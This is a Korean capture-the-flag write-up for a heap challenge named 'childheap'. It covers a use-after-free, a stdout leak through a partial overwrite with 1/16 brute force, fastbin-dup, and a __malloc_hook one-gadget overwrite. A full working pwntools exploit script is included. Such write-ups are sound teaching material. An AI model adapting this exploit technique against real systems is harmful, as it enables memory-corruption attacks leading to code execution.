unsigned __int64 Malloc()
{
int v0; // ebx
int v2; // [rsp+0h] [rbp-20h] BYREF
int v3; // [rsp+4h] [rbp-1Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-18h]
v4 = __readfsqword(0x28u);
printf("index: ");
__isoc99_scanf("%d", &v2);
if ( v2 < 0 || v2 > 4 )
exit(1);
printf("size: ");
__isoc99_scanf("%d", &v3);
if ( v3 < 0 || v3 > 128 )
exit(1);
v0 = v2;
*(&ptr + v0) = malloc(v3);
if ( !*(&ptr + v2) )
exit(1);
printf("content: ");
read(0, *(&ptr + v2), v3);
return __readfsqword(0x28u) ^ v4;
}
babyheap
문제와 비슷하게 생겼는데,
이번엔 index 0~4
범위에서 0~128
크기의 힙을 할당하고 해제할 수 있다. (UAF 가능
)
show
함수가 없으므로, stdout flag
를 조져서 leak
해야겠다.
stdout
주변에 할당받을만한 곳을 찾아봤다.
stdout-0x43
에 할당받으면 좋겠다.
출력 함수가 없으므로, UAF
가 발생할 때 이용하기 쉬운 main_arena+88
을 이용해
stdout-0x43
을 bk
로 조작하면 되겠다.
// stdout-0x43 : 0x7f4c739af5dd
//main_arena+88 : 0x7f4c739aeb78
우분투 16에서 확인한 결과인데, 보통 하위 2바이트만 다르다.
hex(lib.sym['IO_2_1_stdout']-0x43)
'0x3c55dd'
주어진 라이브러리 파일에서도 오프셋 하위 2바이트가 ?5dd
이니, 1/16
브루트포스 하면 되겠다.
그러면 이제 exploit
흐름을 그려보자.
- chunk 여러개를 할당해서
top_chunk
와 병합되지 않는fastbin
보다 큰 사이즈의 힙 할당하고 해제 (fd, bk 에main_arena+88
가 적힘) - 해제한
unsorted bin
의 chunk 를 다시 가져와서 하위 2바이트를0x55dd
로 바꾼다. fastbin-dup
을 이용해 3번 해제하고, 첫 번째로 다시 할당할 때 하위 1바이트를 조져서fd
에main_arena+88
가 적힌 chunk 의 주소를 가리키게 하고, 나머지 3개를 할당한 뒤stdout-0x43
에 chunk 를 할당받는다. 이후 페이로드를 보내서libc leak
fastbin-dup
으로__malloc_hook
을 원샷으로 덮기
1, 2
add(0,0x60)
add(1,0x80)
add(2,0x60)
free(1)
add(1,0x60,p16(0xe5dd))
일단, chunk size 가 0x60
인 이유는, stdout-0x43
에 구성되어있는 fake_chunk
의 size
가 0x7f
이기 때문이다.
그리고 unsorted bin
에 있는 chunk 를 가져올 때 size 를 0x60
으로 사용했는데,
0x60
으로 줘도 unsorted bin
에서 가져올 수 있다 ( unsorted bin 에만 chunk 가 있어서, 0x60 만 잘라 할당해준뒤 0x20 은 remainder 에 저장 )
top_chunk
와 병합되지 않게 0x80
다음에 chunk 하나를 더 할당해주고,
main_arena+88
하위 2바이트를 변조시켜준다.
0x80
이전에 chunk 하나 더 할당하는 이유는, fastbin-dup
할 때 병합이 일어나면 안되고,
chunk 주소의 두 번째 바이트가 같아야
fd 를 1바이트 조작했을 때 다음 fd를 stdout-0x43
으로 설정할 수 있기 때문이다
3
free(2)
free(0)
free(2)
add(0,0x60,p8(0x70)) # 2
add(0,0x60) # 0
add(0,0x60) # 2
add(0,0x60) # 1
# log.info(r.pid.__str__())
# pause()
try:
add(0,0x60,b'\x00\x00\x00'+p64(0)*6+p64(0xfbad1800)+b'\x00'*25) # stdout-0x43
except:
r.close()
continue
2-0-2
순서로 해제한 뒤, 2
의 fd
인 0
의 1바이트를 1
의 offset 으로 바꿔줬다.
이후 2개(0,2
)를 마저 할당하고, 1
의 offset 으로 바꿔줘서 fd
에 들어간 1
을 할당한 뒤
1
의 fd 에 있는 stdout-0x43
에 힙을 할당해주자.
입력할 수 있는 위치는 stdout-0x33
부터니 0x33 바이트를 채워준 뒤 fake_flag
+ null
*25 를 입력한다.
stdout-0x43
의 두번째 바이트 상위 4바이트를 브루트포스로 맞췄으면
except
에 걸리지 않을 것이다. 걸리면 다시실행해야죠 뭐
4
baby heap
과 똑같이 __malloc_hook-35 였나 거기에 할당받아서 원샷가젯으로 덮으면 된다.
가젯 offset 도 똑같이 써도된다.
from pwn import *
import sys
context.binary = binary = "./childheap"
# context.log_level='debug'
b=ELF(binary,checksec=False)
while True:
if '1' in sys.argv:
r = remote("ctf.j0n9hyun.xyz", 3033)
lib = ELF("./libc.so.6", checksec=False)
else:
r = b.process()
lib = b.libc
def add(index,size,content="hello"):
r.sendlineafter("> ",b"1")
r.sendlineafter("index: ",str(index).encode())
r.sendlineafter("size: ",str(size).encode())
r.sendafter("content: ",content)
def free(index):
r.sendlineafter("> ",b"2")
r.sendlineafter("index: ",str(index).encode())
add(0,0x60)
add(1,0x80)
add(2,0x60)
free(1)
add(1,0x60,p16(0x55dd))
free(2)
free(0)
free(2)
add(0,0x60,p8(0x70)) # 2
add(0,0x60) # 0
add(0,0x60) # 2
add(0,0x60) # 1
try:
add(0,0x60,b'\x00\x00\x00'+p64(0)*6+p64(0xfbad1800)+b'\x00'*25) # stdout-0x43
except:
r.close()
continue
# log.info(r.pid.__str__())
# pause()
log.info("nice chunk address")
r.recv(0x48)
libc=u64(r.recv(6)+b'\x00\x00')-131-lib.sym["_IO_2_1_stdout_"]
log.info(hex(libc))
add(0,0x60)
add(1,0x60)
free(0)
free(1)
free(0)
add(0,0x60,p64(lib.sym['__malloc_hook']+libc-35))
add(1,0x60)
add(2,0x60)
add(3,0x60,b'x'*19+p64(libc+0xf02a4))
free(0)
free(0)
r.interactive()
break